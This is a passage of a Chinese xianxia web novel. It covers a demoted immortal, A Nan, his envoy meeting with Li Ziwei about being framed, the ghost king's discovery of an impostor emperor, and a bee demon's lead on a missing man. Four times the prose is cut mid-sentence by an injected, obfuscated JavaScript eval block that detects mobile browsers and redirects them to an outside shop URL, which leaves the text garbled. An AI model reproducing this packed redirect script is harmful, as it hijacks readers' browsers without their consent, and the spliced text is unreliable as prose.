当初明光遭贬下凡时,仙剑日月明作为他的神兵,是众所周知的存在,不可能秘密与魂魄封印在一起。 但法铃是无人知晓的存在,就成了他唯一的选择。 流金铃刚炼出来就遭到封印,而且一封就是三百年,法力自然大受影响。 可即便如此,它一直是阿难最重要的护身符,迄今为止没有之一。接下来,就看日月明几时能够收回并且彻底恢复神通了。 撸了半天剑后,阿难开始尝试着拔剑。 然而,无论是连剑带鞘从青石甬道上拔出来,还是单独把剑从鞘里拔出来,都遭遇了失败。 仙剑日月明可以允许他亲近,但想要拔剑门儿都没有。它要留在摩宵宫等主人,除非主人出现,否则谁也别想拔出它。 早已出现却无法被仙剑认出的落难主人,面对自己的双重失败,只有无奈苦笑的份儿。 而虎头铃铛原本的叮叮轻响,已经变成了暴怒的铛铛乱响,是忍不住又在破口大骂:麻拉个逼你个大傻逼! . 太湖,缥缈峰。 夕阳在太湖湖面上铺开一道残红时,应长恨独自一人背手伫立于缥缈峰顶。夕阳的余晖如血浪,把他映照得浑身宛如浴血一般。 没过多久,有两道人影出现在他身后,分别是白衣的厉无情与红裳的朱颜悔。 “参见鬼王。” “我召你们二人过来,是想让你们看一样东西。” 看到那口巨大的青铜棺材后,厉无情和朱颜悔都不难认出它的来历。 厉无情道:“这是水鬼铜棺将军的棺材吧?” 朱颜悔道:“莫非鬼王也收服了他吗?” “我把他杀了。” 简简单单的五个字,却听得厉无情与朱颜悔不约而同地双双一震,都意识到了应长恨的实力比自己想像中的更高。 否则不可能在干掉成名最久的水鬼铜棺将军后,还让人半点看不出与之苦战过的吃力模样。 震惊过后,朱颜悔先开口道:“鬼王威武。” “威武什么啊威武,我都很后悔杀了他。” 厉无情不解地道:“这是为何?” “如果我没有杀他,他的魂体就不会消散,你们现在就能看到铜棺将军的真容了。” 朱颜悔很敏锐地问道:“鬼王既这么说,那铜棺将军的真容,想来是会令我们惊讶的样子吧?” “没错,这位铜棺将军的真容,连我见了都大吃一惊。你们猜猜他长什么模样?” 厉无情道:“我们肯定是猜不出来的,还望鬼王明示。” “好吧,不打哑谜了,直接告诉你们,铜棺将军跟云间仙境的那位帝君撞脸了。” 应长恨揭露的谜底,让厉无情和朱颜悔都面露惊讶之色。 虽然人有相似,两个人长得很像并不罕见,但一个恶煞和一位神仙撞脸了,还是让人觉得事情很不寻常。 朱颜悔道:“哦,铜棺将军和紫衡帝君长得很像吗?” “不是很像,是一模一样。” 厉无情道:“一模一样,难道是双生子?” “不只是长相如出一辙,就连英昊头顶双旋的身体特征也相同。你们觉得,这是双生子能说得通的吗?” 厉无情和朱颜悔情不自禁地对视了一眼,都直觉此事大有蹊跷。 “如果不是双生子,那铜棺将军的鬼魂难道就是英昊的鬼魂吗?” 排除掉所有的不可能,唯一剩下的那个即使再不可思议也就是事实了,厉无情一点也不难得出这个结论。 朱颜悔蓦地一凛。 “如果是这样的话,英昊岂非已经死了上千年,那云间仙境的那位帝君又是谁?” 厉无情神色不解地问道: “英昊要是早就死了,那位所谓的帝君,就是假冒他当了上千年的天界第一大佬。其他仙官难道都没发现不对劲吗?他们一个个不至于都蠢成死人吧?” “能冒充英昊当上帝君,且不被其他仙官察觉出异样,只能是一个对英昊也对云间仙境一切都烂熟于心、了如指掌的人。” “有这样的人吗?” 厉无情和朱颜悔,都跟应长恨最初的反应一样,而他冷笑着重复了一遍自己曾经说过的话。 “没有这样的人,但是有一条这样的蛇。” . 从妖鱼变成仙鲤后,阿难原本是可以在摩宵宫久留的。专业辟邪几百年的无极宗仙府匾额与仙剑日月明,都不会再对他构成威胁。 但是越君朴一直很关注仙剑日月明的动向,他如果留在这里太过扎眼。就还是和以前一样,在黄昏时分离开太平岛,去往海中洲中心的昌城。 阿难没有再光顾那家颇为气派的悦来客栈,而是直接在码头附近找了一家客栈住下来。 来海中洲前,阿难通过传讯飞符联系任天真,让她抽空过来昌城一趟,有要事需与之面谈。 飞符已经发出去几天了,她如果看到了或许这两日就该到了。 三更的鼓声响过了,阿难正在铺床准备睡觉,房门突然被人敲响了。 敲得很斯文,是笃笃笃的轻响。他下意识地凝神感知,发现门外有仙气氤氲。 如果小铃的法力在,早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162361|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就提醒主人它感应到了仙气,可是眼下它的提示功能因为法力不足暂时下线了。 思索片刻后,阿难打开房门,发现来者是弘文真君郦子微。 郦子微衣饰华美,丰神如玉,端的是好一位飘飘然有云霞气的才貌仙郎。 就连跟在主人身边的那只大公鸡勃公子,也是物似主人形的昂首挺胸,器宇不凡,一看就是只不平凡的鸡。 “明光,三百年不见,你的变化很大。” 郦子微目光深深地注视着阿难,在他身上找不到一丝半点熟悉的地方,无论容貌还是气质都完全不一样了。 如果不是勃公子喔喔着对主人再三确认,眼前这位就是那天喂它松子的那个人,他几乎都要怀疑自己是不是找错了人。 阿难并不否认,有勃公子在否认也没用。 只是有些奇怪郦子微为什么要来找自己,他本人现在可是一脑门子官司呢,按理应该没心思去管别人的闲事。 “从神仙变成妖怪,变化很大太正常不过了!如今已经没有仙官明光,只有小妖阿难。” “你太谦虚了,能把身上的妖气藏得分毫不露,你绝对不能算是小妖了。三百年就能修到这种程度,你还真是天赋异禀。” 郦子微并不知道阿难已经从妖鱼变成了仙鲤,所以身上才不再有妖气。他也自然不会告诉他,打着哈哈应对。 “哪里哪里,郦仙郎过奖了。” 阿难似笑非笑地注视着郦子微,语气中带着几分挪揄调侃。 “你倒是一点变化都没有,还是老样子。就是看上去似乎有些烦恼,最近遇上什么麻烦事了吗?” 郦子微听得暗中一怔:不是吧?这他都能看出来。 郦子微不明白是自己的情绪控制能力变差了,还是明光的观察能力变强了,还是两者都有。 至少以前的明光在看人眉眼高低、心情好坏这些方面并不擅长。 “多谢关心,我一切都好。” “真的吗?郦仙郎,我掐指一算你最近可能会有桃花劫,自己千万小心一点啊!” 阿难用一副神棍的口气来提醒神仙渡劫要小心,郦子微听了却并不觉得好笑,而是目光越发深邃地把他从头到脚打量了一遍。 这个明光和以前的明光真是大不一样了。 他刚才说的话,似乎是随口一说,又似乎是意有所指,偏偏却说中了不为人知的事实。 郦子微不无纳闷地在心底暗想:难道他知道了我和朱颜悔有前世纠葛的事吗?不可能吧,他哪来的消息源? 云间仙境知道这事的仙官都极少,更加传不到人间凡界。 而且朱颜悔也不可能把这件事告诉明光,她根本就不相信任何一个男人,也就绝不会对他们透露自己的任何事。 “郦仙郎,你这么看着我干吗?我随便说说的,你好像当真了。莫非你还真遇上了桃花劫?如果是也不奇怪,像你这种才貌仙郎,欠了什么风流债,负了什么美人恩,都是再正常不过了对吧?不过要是美人因此找你讨债报仇,你可就有得头疼了。” 90.陷害 以前的明光是个非常骄傲的少年,骄傲的程度比檀绍更胜一筹,像只凤凰似的高高在上,目无下尘。 他从来不会跟别人拉呱闲聊,尤其是这种八卦性质的聊天,把天聊死才是他的长项。 可是现在看来,曾经的短板已经成为了他现在的长项。滔滔不绝的一番话,听得郦子微沉默了片刻才开口。 “明光,你以前没这么多话的,如今怎么嘴碎得跟八哥有一拼?” “以前是神仙,就要有神仙的样子。现在我只是一个上不了台面的妖怪,还不能自我放飞一下吗?郦仙郎,你到底遇上了怎样的桃花劫,能不能说来听听啊?” 阿难毫不掩饰自己脸上“你有什么不开心的事说出来让我开心一下”的表情,十分欠揍讨打。 作为君子动口不动手的文神,除非郦子微被气得彻底失去了理智,否则绝对不会做出那种有辱斯文的粗野行为。 况且他这一趟来找明光是奉帝君之命,还有公务要办,可不能因为私事先把人打了。 . 郦子微决定不再扯闲篇,直接言归正传。 “我这次来找你,是受帝君所托——帝君有些话想让我转告予你。” 阿难已经猜到了。郦子微眼下自己正麻烦缠身,根本不可能有闲功夫去管闲事。只能是上头派给他的公务,才能让他专程下凡跑上一趟。 “哦,什么话?赶紧说。说完我好上床睡觉,困得很。” 阿难伸着懒腰打了一个大大的哈欠,一副兴致不高的样子。 郦子微出乎意外地一怔,原本他还以为自己的话能让明光激动不已。 因为紫衡帝君会专程派人来找他,某种程度上说明他有希望重返天界,谁知他却表现得这么无所谓。这是彻底破罐子破摔了吗? “帝君怀疑当年江天旷潜入云间仙境一事没那么简单,你很有可能是遭人陷害。” 郦子微再次抛出重磅炸弹,阿难却懒洋洋地直接往床上一躺,双手枕着头问得漫不经心。 “所以呢?” 明明很重要的事,可是阿难的反应却平淡得像是郦子微刚才说了一句“今天天气不错”,倒让他有些不知道该怎么接茬了。 “郦仙郎,你愣着干吗?帝君派你来传话,你倒是赶紧说啊,所以呢?” “所以帝君派我下凡找到你问一下,如果你是遭人陷害,那么你能想到是谁在陷害你吗?” 阿难不答反问:“当年我就说了我是冤枉的,根本没人信,如今帝君怎么又觉得有这种可能性了?” “天威难测,我也不知道,只知道奉命行事。你能想到是谁在陷害你吗?” 郦子微重复了一遍自己的问题,阿难煞有介事地回答道:“能——我觉得你就很有嫌疑。” 什么?郦子微听得眉心一跳、脸色一变,而阿难已经哈哈大笑起来。 “我开个玩笑,你怎么还当真了?” 郦子微哭笑不得,“别开这种玩笑,一点也不好笑。” “我觉得挺好笑的,你刚才的脸色那叫一个精彩纷呈。” 阿难在床上滚来滚去疯笑一气,毫无昔日灵曜天君高贵冷傲的形象可言,也毫不在乎郦子微对此会有何看法。 郦子微的心情复杂到无法言说:这家伙真是以前那个凤凰似的少年天君吗?他当年可是比我更注重形象的人,现在形象包袱甩得真够彻底的。 “你笑够了没有?能不能接着谈正事?” “我笑我的,你说你的,我又不是聋了听不见。” “可现在是我要听你说,谁最有可能陷害你?” 阿难再次把双手枕到头后,理直气壮地反问道:“我怎么知道?当年很多仙官都看我不顺眼,想搞垮我的大有人在,没准郦仙郎你也是其中之一呢!” 郦子微实在不能忍受自己一再被扣上这样的嫌疑,忍不住分辩起来。 “我搞你干吗?费那么大的劲把你搞下去对我有什么好处?又不是你下台了就能换我上台当天君,我还没有那个资格。” “是哦,想搞垮我的人虽然不少,但搞垮我后能从中获得好处的人却很少,毕竟很多人资格不够。郦仙郎,那么从这方面反推一下,陷害我的人似乎就不难猜了吧?” 阿难一直是副吊儿郎当没正形的样子,说的话不少都是废话,然而这番话却是一语中的。 郦子微又何尝不明白这一点呢? 他是心思玲珑剔透的聪明人,如果明光当年是遭人陷害,那么能把这位仅次于帝君的天君拉下马的人,绝对不会是一位普通仙官。 三百年前,鬼王江天旷手持灵曜天君的灵玉令牌混上云间仙境,企图刺杀紫衡帝君英昊不成,最后被太玄真君陆衢所杀。 陆衢也因此遭鬼火灼伤丹府,这么多年来伤势一直无法痊愈,只能靠仙丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182552|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调养。 归纳总结一下,当年的鬼王闯天界一事,刺杀紫衡帝君虽然没能成功,却导致了灵曜天君被贬与太玄真君受伤。 这么说吧,一把手没事,但二把手和三把手都出了事。 如果英昊哪天出了什么岔子身死神陨,那么能接任帝君的人,总不可能是旧伤难愈的陆衢。按资历来排的话,只能是由普和真君檀豫顶上了。 檀豫这位老神仙,看似一团和气,总是笑容满面,其实心眼很小。如果得罪了他,他会隔着好几座山发力给人苦头吃,还有苦说不出。 虽然年纪一大把,但他的虚荣心还是很强,热衷于把自己打造成英明神武的天神形象。 如果再多点野心,暗中设下这个一石三鸟的局,让自己有机会当上帝君过把瘾,似乎也不是没有可能的事。 “郦仙郎,你猜到谁了,不妨说出来听听。” 郦子微一向谨慎小心,自然不肯把自己的猜测随便说出口。万一日后传到檀豫耳中,那可就要把这位老神仙得罪得不轻。 “这是你的事,你觉得谁最有可能?” 阿难这回倒是很干脆,直截了当地道:“如果单看既得利益者,那就只有檀仙师了。” 阿难毫无顾虑地指出檀豫的嫌疑最大,郦子微对此不予置评,只是问道:“那你打算怎么办?” “什么叫我怎么办?我能怎么办?我如今不过是小妖一枚,难道还能上天去找神仙大佬算账不成?帝君如果觉得此事有蹊跷,是不是应该查清楚还我一个清白呢?” “毕竟是三百年前的事,如今很难查出什么,也就证明不了你的清白。只要证明不了这一点,帝君就不可能无端赦免你。” “这么说还我清白是没戏了,那我就这样白白被人坑了?” “如果不愿意吃这个哑巴亏,要不你自己想办法去查证此事。如果你能查到什么确凿的证据,帝君一定替你平反。” “让我一个妖怪去调查神仙是不是暗中搞过什么猫腻,帝君还真是看得起我。就算我有那份心,也心有余而力不足,除非帝君能助我一臂之力。” “你想让帝君如何助你?” “至少先帮我把日月明收回来,如果连自保的能力都没有,还想去挑战檀仙师,那跟找死有什么区别?” 阿难的要求听得郦子微暗中点头:果然被帝君料中了,他想让帝君帮忙收回仙剑日月明。 91.移魂枕 英昊派郦子微下凡来找明光前,对他的反应做出了预判。 眼下他最迫切的心愿,就莫过于收回自己的仙剑。既然天界想让他自己去查清楚当年遭陷害一事,那他就肯定会提出这一要求。 “你如今不是仙身,仙剑自然认不出你这位旧主人。如果想要收回日月明,就只有一个办法。” 阿难总算从床上爬起来了,目光炯炯地问:“什么办法?” “无论你是人是仙还是妖,身体可以换成不同的躯壳,魂魄却始终是原来的魂魄。日月明认不出你眼下的妖形,但如果你能魂魄离体与之相见,它就能认出你了。” “这话说得轻巧,元神出窍就算是神仙也不敢轻易尝试,一旦出了什么差池就无法重返肉身,要彻底歇菜不可。何况我区区一个妖怪,哪来这种能耐?你是在逗我玩吗?恕不奉陪。” 阿难满脸扫兴的神色重新躺回床上,直接闭上双眼,一副懒得再搭理郦子微只想睡觉的作派。 “帝君说,在无间鬼域的冥湖湖底沉着一件天界宝物,是当年皓宸帝君的法宝移魂枕。如果有了这只移魂枕,帝君就能助你移魂离体,再自然回魂。” 皓宸帝君的法宝,怎么会沉在了无间鬼域的冥湖?自然是两千多年前,他率领天界武神前去征伐鬼域时意外失落的。 这件事当时知道的人就不多,千年的岁月更迭后更是鲜为人知。别说阿难了,就连郦子微也是头回听说。 阿难难以置信地睁开双眼,瞪得浑圆,满脸都是“有没有搞错”的神色。 “帝君的意思,是想让我去冥湖把这个法宝捞出来派用场吗?可那是寒冰流火的冥湖啊!我哪来的本事下去捞法宝?不是被冻成冰雕就是被烧成焦炭了。” . 天有九宵,地有九幽,无间鬼域的冥湖,就在地底最深处的九幽之地。 冥湖是一个看上去很美的湖泊,湖水呈现出红蓝两种色彩。 不是泾渭分明的一边红一边蓝,而是红色与蓝色的两种湖水,互不融合地交错流动着。 蓝是冰蓝,酷寒无比,能把人直接冻成冰雕;红是火红,炽热难当,能把人直接烧成焦炭。 法力不够的话千万不要随便靠近这片冥湖,一个不小心掉进去,碰上蓝色湖水秒变冰雕,碰上红色湖水秒变焦炭。 就算是无间鬼域最天不怕地不怕的牛鬼,没事也不会跑去冥湖闲逛。珍爱生命,远离冥湖,是所有鬼魂们早就达成的共识。 郦子微其实也觉得纳闷,英昊为明光指出的这条道,横看竖看都是死胡同一个。 如果是当年的灵曜天君明光,或许还有机会一试,如今的妖怪阿难哪有这能耐呀! 当时他委婉表达了自己的这一想法,英昊却一脸高深莫测的神色道:“蛇有蛇路,鼠有鼠路。就算明光现在只是一介小妖,未必就没有他的门路。” 此时此刻,郦子微也只能选择将一将阿难的军。 “帝君只是指出有这么一个法子,能不能做到就看你自己了。” “那肯定做不到了。就算太清元君肯把她的明月天衣借给我,也未必能保平安的。” . 太清元君温且惠有一件防御型法宝——明月天衣,是太玄真君陆衢花了好几百年时间特意为爱妻炼制的。 这袭护体仙衣穿在身上,刀枪不入,水火不侵,具备超强的防御能力。 有着明月天衣这件法宝,温且惠就算只是一位斗战能力为零的神女,自保也是绰绰有余。 无论遇上什么厉害角色,只要无法破解她的法宝,也就休想伤她半分。 不过明月天衣能否抵御得了冥湖的寒冰流火,却是一个未知数。 毕竟集冰寒火热于一体的冥湖处于九幽之地,鬼气最浓的地方。 神仙轻易都不愿擅闯无间鬼域,更加不可能下到最危险的冥湖,只为测试一下明月天衣在这方面的防御力。 尽管没有试过,但哪怕再乐观的人,也不敢认为明月天衣能够完全屏蔽掉寒冰流火的双重威力。 “我胆子小,可不敢冒那个险往冥湖跳。算了算了,还是洗洗睡吧!” 阿难认怂认得十分干脆,没有半点不好意思或难以启齿。 然后直接拉过被子蒙住头,摆出一副“我不再陪聊你赶紧闪人别妨碍老子睡觉”的送客架势。 “这张是我的传讯飞符,如果你改变主意了,可以联系我。” 带着勃公子离开了房间后,郦子微忍不住又一次跟自己的仙禽确认:你确定这个就是那天喂你松子的人? 当年那个能力拔尖傲气十足的少年天君,是个牛逼不能再牛逼的人物,认怂这种事从来跟他扯不上半点关系。 可是现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191956|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,他认怂的样子也未免太熟练了吧? 勃公子再一次喔喔叫着确认无疑,郦子微的心情复杂极了,都不知道该怎么评价才好。 总之就是很难评,很难很难。 . 窗外的明月已经升上中天,时辰算来该是子夜了。 阿难还没有入睡,躺在床上思虑万千。冒充英昊的玉京子,派来郦子微转告他的一番话,到底暗藏了多少心机呢? 表面上看来,“紫衡帝君”似乎是相信明光当年遭人陷害。 事实上,玉京子应该是觉得这枚弃子可以重新派上用场。 无论当年明光被构毁一事的幕后黑手究竟是谁,是玉京子也好,是檀豫也罢,这位“帝君”都很乐意以此为由贬其下凡,反正对他来说有百利而无一弊。 如今之所以又说什么相信明光无辜,背后恐怕另有主谋,应该是檀豫又让他产生了忌惮心理。 与其自己动手,当然是不如借刀杀人。 阿难不无嘲讽地笑了一下:是啊,只要告诉我当年就是檀豫设局陷害我,那么天底下就没有比我更好用的刀了。 只是好用归好用,在阿难趁机提出帮忙收回仙剑的要求后,玉京子却还给出一个天大的难题。 一把刀除了好用之外,还得够锋利才行。 如果阿难没有能力收回仙剑,就更加不可能对付得了檀豫,难道这是玉京子想要考验一下他吗? 可是这样的考验也未免难度系数太高了。 如果玉京子想要把他当刀使,考验应该是磨刀石似的困难,只为打磨一下刀锋,如果实在磨不快的话再扔掉另换一把也不迟。 但是玉京子给出的“考验”,却是让阿难去冥湖打捞皓宸帝君失落千年的移魂枕。这跟让他去送死有什么区别? 就算阿难再想找檀豫报仇,也不会因此失去理智地一头扎进冥湖,稍微有点脑子的人都不会这么做。 如果是根本办不到的事,玉京子为什么要特意派郦子微找到阿难转告这一点呢?不可能会是闲得没事逗他玩,他会这么做一定有他的深意。 阿难突然目光一凝:难怪玉京子知道了我和新上任的鬼王有交情,可以找应长恨帮忙想办法打捞移魂枕? 唯有这样,才能解释“紫衡帝君”为什么会抛出这个看似无解的难题,可他又是怎么知道的呢? 92.消息 被贬下人间凡界的三百年里,阿难的经历除了他自己没人清楚。 天界的神仙们不会知道他是沦为飞禽还是走兽,也不会清楚他身处何方。 从大形山湖泊中的一条鲤鱼,再到修炼成精的鲤鱼精,都是微不足道的小角色,想要引人注目都难。 终于修成人形后,阿难千山万水一路跋涉朝着东海方向前进,在六合镇意外结识应长恨,与他结下一段难兄难弟的交情。 知道他俩有交情的人,只有阴有苓、任天真和厉无情,他们仨都不可能会是玉京子的消息来源。 退一万步来说,就算是他们仨当中有人不留心透露了这一点,玉京子也不可能知道跟应长恨有过命交情的那个小妖,就是当年遭贬的明光。 如果不是那晚意外被勃公子发现了,阿难眼下的身份,对于天界那边来说依然是个谜。 郦子微今晚跑来找他,也得带上勃公子才能找到人,否则他压根就认不出他。 那么玉京子又是如何得知,阿难跟应长恨的关系匪浅呢? 难道他是纯属靠蒙,认定那个跟新任鬼王交情很不一般的小妖,就是从神仙沦为妖怪的明光吗? 这也不可能,玉京子能干掉英昊冒充顶替当那么多年的帝君而不被任何人发现,就绝对不会是一个莽撞行事的人。 如此行事谨慎之人,又怎么会光靠瞎蒙就派郦子微过来传话呢? 明光沉思良久后忽然双眉一扬:玉京子恐怕不是现在才知道我和应长恨有交情,而是很久以前就知道了。 很久以前,少年真人明光曾经救过双头畸形的小孩阿难。 如果玉京子知道这件事,又得知新任鬼王应长恨正是当年的阿难,指点他去冥湖捞法宝就再合理不过了。 阿难还是有些纳闷不解:当年我尚未飞升,随手救个孩子这种小事根本惊动不了天界。玉京子是怎么留意到了?碰巧遇上的吗? 不管玉京子是如何得知此事的,他显然很想利用阿难收回移魂枕。 作为仙家法宝,移魂枕只能为仙家所用,妖魔鬼怪都用不了。 所以郦子微之前强调道“如果有了这只移魂枕,帝君就能助你移魂离体,再自然回魂”。 如果阿难真能从冥湖湖底把移魂枕打捞出来,玉京子认定他只能拿着法宝来求助自己,却不知自己算漏了一点——阿难已经不是妖鲤是仙鲤。 仙鲤不再是妖魔鬼怪之流,阿难又深谙各类仙家术法。倘若有朝一日能把移魂枕弄到手,绝对不愁会用不上这一法宝。 . 阿难在昌城等了两天,没有等到莲花成精的任天真,却等来了另一位妖女。 这天上午,睡到日上三竿才起床的阿难,跑去客栈附近的面馆吃面。一碗花蛤面下肚后,他招手唤伙计过来结账。 那时候,一位头戴帷帽身着黄裳的女郎,正好一步三摇地从店门口经过,循声朝他望过来。 “咦,怎么是你呀?!你居然也在这里。” 女郎一副遇上熟人的惊喜口吻,阿难则有些发懵,不知来者是谁。 虽然对方戴着帷帽看不清容貌,但可以肯定不是任天真,声音和身高都不符合。 “不知姑娘是哪位?” 女郎快步走进店堂,在阿难对面的位子坐下后,一把摘掉白纱帷帽,露出一张百媚千娇万种风情的妖媚面孔。 “孤的王后,都把孤给忘了吧?” 来者居然是六合镇一别后就再没照过面的女王蜂。 自从被阴有苓端了老巢后,女王蜂就不再是拥有蜂兵蜂将的女王,变成了孤家寡人一枚。 她已经没了当初称霸一方的女王气场,像“孤”“王后”这类词,曾经说得气势十足,如今却只是开玩笑的语气。 阿难失笑道:“女王,原来是你呀!好久不见,不知凤体是否安康?” “凤体倒是安康,就是麻烦缠身啊!” . 女王蜂倒是不把阿难当外人,拉着他滔滔不绝地诉起了苦。 “你还记得那时跟你一起入我后宫的那位鬼贵妃吗?我前阵子才知道,他居然是无间鬼域四大恶煞之一的厉鬼应长恨,眼下还成了新的鬼域之王。当初我以为他是普通男鬼,如今方知是在太岁头上动了土。” “那晚他遭强抢时没有反抗应该是一时法力不济,只能委曲求全。而我让他受了这么大的屈辱,还不知道要怎么找我报复呢。世人爱用‘捅了马蜂窝’用来比喻遇上大麻烦,可是我现在的麻烦要比这个大多了,真是头好疼、好头疼啊!” 一边用双手揉着自己的太阳穴,女王峰一边唉声又叹气。 当初抢个男鬼居然抢中了未来的鬼王,这是什么破运气啊?如果应长恨现在要秋后算账的话,那她可就要倒大霉了。 阿难安抚道:“没事的,你不用担心。宰相肚里都能撑船,人家现在当上鬼王了,只会更有肚量,想来不会来找你麻烦的。” “你又不是他,怎么知道他不会跟我秋后算账呢?对了,那晚你和他一起入了我的后宫,两个人是认识的,私下交情怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197136|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样?能不能帮我说上一句话,化干戈为玉帛啥的?如果他有什么条件只管提,能满足的我一定满足。” “我是认识他,所以知道他不会这么做的。他现在可是鬼王,要操心的大事小事多着呢,才顾不上清算你这笔旧账。” 虽然阿难一番话说得很笃定,但是女王蜂还是满脸的不放心。 “可是那一晚,我不光是得罪了应长恨,还暗算了前来降妖的阴有苓。你应该也听说了吧?这个无极宗的阴有苓和应长恨有一腿,而我跟他俩都结了梁子。就算是应长恨大人有大量不跟我计较,难保阴有苓不吹枕边风让他找我算总账呢?” 阿难听得哭笑不得。 还真是造谣一张嘴,辟谣跑断腿。阴有苓跟应长恨有一腿这个谣言,也不知什么时候才能彻底澄清。 “没有这种事,阴有苓和应长恨根本就不是那种关系。你千万别误信谣言,否则反而会让他俩生气,对你只有坏处没有好处。” 女王蜂将信将疑,“真的吗?你怎么这么清楚呢?” “你别管我怎么这么清楚,反正我就是清楚。总之这件事你一定要信我,信我准没错。” 阿难拍着胸膛做出保证,女王蜂想到了他和应长恨相识,显然是有内幕消息,要比她的道听途说更加靠谱。 “好,那我就信你了。对了,还没请教你的尊姓大名呢?” 女王蜂知道自己不能再管阿难叫“王后”了,之前也只是开玩笑的语气。 当初,一队蜂妖把阿难和应长恨一起抢来献给女王蜂。 如今她已经确定“鬼贵妃”不是好惹的主儿,这位“妖王后”又与之相识,总之是能不得罪就不得罪了。 “在下姓和名光。” “原来是和公子,我叫黄牡丹。” 蜂妖的原形是黄蜂,自然以黄为姓,牡丹乃花王,女王蜂用来做自己的名字也算相得益彰。 “黄夫人,你既然觉得自己跟阴有苓有过节,为什么还出现在这儿呢?” 海中洲是无极宗仙府所在地,如果黄牡丹自认为得罪了阴有苓,论理应该躲着走才对。横看竖看她都实在没理由跑来这儿,一个弄不好就要被收拾了! “因为我有一个阴有苓想要的消息,打算跟她交换一个不找我麻烦的承诺。” 阴有苓想要的消息是什么?阿难一下子就猜到了,下意识地问道:“难道你知道晁定武的下落?” 黄牡丹道:“你也知道这个人啊?他的下落我并不知道,只是打听到了一些相关线索。” 93.看法 那日阴有苓闯入黄牡丹的老巢,除了志在降妖外,还曾经问过她一个问题。 “你是否认识一个叫晁定武的人?” 当时黄牡丹利用阴有苓迫切想要知道答案的心理,为自己争取到了一线生机,也成功逃出生天。 在意识到自己跟应长恨和阴有苓都结了梁子后,黄牡丹自然不想树此强敌,想方设法要把这个结给解了。 跟应长恨怎么解黄牡丹没辙,但是阴有苓这边,她却很清楚地知道她想要找到一个人——一个名叫晁定武的人。 黄牡丹已经弄明白了晁定武是何许人也。 他原是阴有苓的同门师兄加未婚夫婿,却在成亲当天抛弃她跟一个妖女私奔了。 阴有苓遭此奇耻大辱,一定是很想把狗男人找出来一剑穿心! 黄牡丹心想,如果自己能助她一臂之力,那点恩怨肯定就可以忽略不计。 于是黄牡丹很起劲地四处打听晁定武的下落,想知道他到底是被何方妖女拐跑了。结果发现在此之前还有一位花妖也找过他。 任天真帮阴有苓寻找晁定武的时候,特意要了一张他的画像,这样找起人来才方便。 同样的画像通过法术被她复制了多份,留给了不少人,叮嘱只要见到这个画像中的男子就立刻通知她。 黄牡丹在一位熟妖那里看到了这幅画像,也复制了一份便于自己找人。 为了解决自己的麻烦缠身,她在这方面花了不少时间精力,结果还真找到了一点线索。 . 一位来自西域一带的鹰妖,在看了晁定武的画像后,告诉黄牡丹自己三年前曾经见过这个人。 “当时他跟一个绝色美人一起走在西凉城外的瀚海沙漠中。我本来想找机会吃了他,把美人留下来作伴。还没来得及动手,他们却突然神秘消失了,简直就像活见鬼一样。” 西凉城位于边塞,是丝绸之路的要辖,南靠天山,北接沙漠——瀚海沙漠广阔无垠一如浩瀚的海洋。 鹰妖的目力一向敏锐过人,他既然认出了晁定武的画像,就不可能会认错人。 而且说的情况也能对上号,姓晁的可不就是跟一个妖女跑了嘛! “那个美人应该也是妖,你当时没看出来吗?” “是吗?那还真没看出来,她身上并没有明显的妖邪之气。” “那她的修为显然不低,还好你没来得及动手,否则一定要吃大亏不可。” 鹰妖想想也是,如果那个美人真是厉害的大妖,那他打她的主意下场肯定好不了,倒是阴差阳错地逃过了一劫。 “你还记得那妖女长什么模样吗?” “她穿一身红衣,脸上覆了一层轻纱。容貌虽然没看全,但光看眉眼就知道是位绝色美人。如果再让我遇上她,一定能够认出来。” 如果鹰妖见过那位妖女的长相,黄牡丹还想让画师根据他的描述绘出她的画像,再拿去献给阴有苓,方便她按图索骥地把情敌找出来。 这个方法却不可行,黄牡丹在鹰妖那儿也榨不出更多线索,只能带着自己知道的一切来了海中洲,怎么说也是查到一点眉目了。 . 